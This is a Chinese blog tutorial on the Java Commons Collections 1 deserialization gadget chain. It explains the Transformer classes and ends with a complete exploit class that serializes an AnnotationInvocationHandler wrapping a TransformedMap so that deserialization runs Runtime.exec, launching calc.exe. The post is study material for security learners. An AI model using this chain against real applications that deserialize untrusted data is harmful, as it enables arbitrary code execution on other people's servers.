java_CommonCollections1利用

CommonCollections1利用链

demo

从P神的demo来理解

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},
new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain= new ChainedTransformer(transformers);

Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","x");

}
}

接下来学习一下里面的接口和类

TransformedMap

TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的key的回调,valueTransormer是处理新元素的value的回调。我们所说的回调,并不是传统意义上的回调函数,而是一个实现了Transformer接口的类。

Transformer的作用是:对其集合的元素进行增加,删除或修改时调用transform方法进行特定的修饰变换,而这个transform是我们自己定义的

Transformer

Transformer是一个接口,它只有一个待实现的方法:

public interface Transformer{
public object transform(object input);
}

TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个“回调函数”,这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回。

public ConstantTransformer(Object constantToReturn){
super();
iConstant=constantToReturn;
}
public Object transform(Object input){
return iConstant;
}

作用是 包装任意一个对象,并且在执行回调时,返回这个对象,方便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接口的一个类,这个类可以用来执行任意方法,也是反序列化能执行任意代码的关键。

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。

public InvokerTransformer(String methodName, Class paramTypes, Object[] args){
super();
iMethodName=methodName;
iParamTypes=paramTypes;
iArgs=args;
}

后面的回调transform方法,就是执行了input对象的iMethodName方法。

public Object transform(object input){
if(input == null){
return null;
}
try{
Class cls=input.getClass();
Method method = cls.getMethod(iMethodName,iParamTypes);
return method.invoke(input,iArgs);
}catch(NoSuchMethodException ex){
throw new FunctorException("InvokerTransformer: The method '"+iMethodName+"'on'"+input.getClass() + "'does not exist");
}catch (IllegalAccessException ex){
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

ChainedTransformer

ChainedTransformer的作用是将内部的多个Transformer串在一起,将前一个回调返回的结果,作为后一个回调的参数传入

public ChainedTransformer(Transformer[] transformers){
super();
iTransformers = transformers;
}

public Object transform(Object object){
for(int i=0; i< iTransformers.length; i ++){
object = iTransformers[i].transform(object);
}
return object;
}

理解demo

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},
new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain= new ChainedTransformer(transformers);

通过新建一个ChainedTransformer,一开始包含了两个Transformer;第一个是ConstantTransformer,根据前面的学习,他的作用是构造函数的构造函数的时候传入一个对象,并在transform方法的时候将这个对象返回,而invokerTransformer,则是执行Runtime对象的exec,参数是后面的地址。

此时的ransformerChain将内部的多个TransformedMap串接在一起,将其和封装入innerMap,通过在Map中放入一个新元素触发回调

Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","x");

用TransformedMap编写POC

要触发上面CC链,需要在Map中放入一个新元素来实现触发。因此我们需要找到一个链,在反序列化的起点readObject逻辑里有写入操作。

这个类就是sun.reflect.annotation.AnnotationInvocationHandler,其readObject方法中,我们重点关注一下写入部分的代码

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));

其中memberValues就是反序列化后得到的Map,也是经过了TransormedMap修饰的对象,这里遍历了它的所有元素,并依次设置值,在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,那么就会执行我们上面构造的代码。

由于sun.reflect.annotation.AnnotationInvocationHandler是jdk内部的类,不能直接使用new来实例化,所以需要使用反射来获取到其构造方法,,而这个类的构造函数有两个参数,第一个参数是Annotation类,第二个参数是前面构造的Map。

Class clazz= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct= clazz.getDeclaredConstructor(Class.class,Map.class);
construc.setAccessible(true);
Object obj=construc.newInstance(Retention.class,outerMap);

为什么要使用反射

通过使用以下代码,我们可以获得序列化流,

ByteArrayOutputStream barr= new ByteArrayOutputStream();
ObjectOutputStream oos= new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

值得注意的是:待序列化的对象和所有它使用的内部属性对象,必须都实现java.io.Serializable接口,但是最早传给ConstantTransformaer的是Runtime.getRuntime(),Runtime类是没有实现java.io.Serializable接口,所以不允许被序列化。

​ 因此我们可以通过反射来获取到上下文中的Runtime对象,

Method f = Runtime.class.getMethod("getRuntime");
Runtime r=(Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转化为Transformer的写法如下:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,
Class.class
},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,
Object[].class
},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{
String.class
},
new String[]{
"C:\\Windows\\System32\\calc.exe"
}),
};

这个和前面的区别在于,Runtime.getRuntime()换成了Runtime.class,前者为java.lang.Runtime对象,后者为java.lang.Class对象

exp

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,
Class[].class
},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,
Object[].class
},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{
String.class
},
new String[]{
"C:\\Windows\\System32\\calc.exe"
}),
};
Transformer transformerChain= new ChainedTransformer(transformers);

Map innerMap=new HashMap();
innerMap.put("value","x");
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);


Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler=(InvocationHandler) construct.newInstance(Retention.class,outerMap);



ByteArrayOutputStream barr= new ByteArrayOutputStream();
ObjectOutputStream oos= new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

System.out.println(barr);
ObjectInputStream ois=new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o=(Object) ois.readObject();

}
}

小结:

总结一下这部分的内容:首先利用的是Ysoserial的hashmap函数,实现反序列化,链条使用的类是commoncollections1中的,其中最重要的就是Transformed,可以调用一个函数,通过一系列操作,即可任意代码执行,但是值得一提的是,调用的类需要具有serialize接口,才能实现序列化。

Author

vague huang

Posted on

2022-04-06

Updated on

2022-07-16

Licensed under

Comments